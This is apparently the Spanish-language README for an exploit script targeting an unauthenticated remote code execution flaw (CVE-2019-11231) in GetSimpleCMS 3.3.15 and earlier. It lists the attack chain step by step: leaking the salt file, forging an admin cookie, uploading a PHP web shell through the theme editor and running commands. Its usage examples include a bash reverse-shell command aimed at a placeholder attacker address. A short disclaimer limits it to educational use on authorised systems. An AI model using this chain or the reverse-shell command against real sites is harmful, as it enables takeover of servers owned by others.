Exploit RCE de GetSimpleCMS CVE-2019-11231

Exploit de ejecución remota de código no autenticado para GetSimpleCMS ≤ 3.3.15

Vulnerabilidad

GetSimpleCMS expone archivos sensibles públicamente (/data/other/authorization.xml, /data/users/), lo que permite a los atacantes:

1. Filtrar claves de API y nombres de usuario
2. Forjar cookies de autenticación
3. Obtener tokens CSRF
4. Subir y ejecutar código PHP arbitrario

Puntuación CVSS: 9.8 (Crítico)

Uso

pip install -r requirements.txt
python3 exploit.py http://target.com "id"
python3 exploit.py gettingstarted.htb "whoami"
python3 /tmp/test.py gettingstarted.htb "/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"

Cómo funciona

1. Enumerar versión → GET /admin/
2. Filtrar salt → GET /data/other/authorization.xml
3. Obtener nombre de usuario → GET /data/users/
4. Forjar cookie → SHA1(username + salt)
5. Obtener nonce → GET /admin/theme-edit.php
6. Subir shell → POST /admin/theme-edit.php
7. Ejecutar comandos → GET /theme/shell.php?cmd=...

Archivos

• exploit.py - Script principal del exploit
• requirements.txt - Dependencias (requests, beautifulsoup4)

Descargo de responsabilidad

⚠️ Solo con fines educativos. Pruebe únicamente en sistemas que le pertenezcan o para los que tenga permiso de prueba.

Referencias

• https://ssd-disclosure.com/archives/3899/ssd-advisory-getcms-unauthenticated-remote-code-execution
• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11231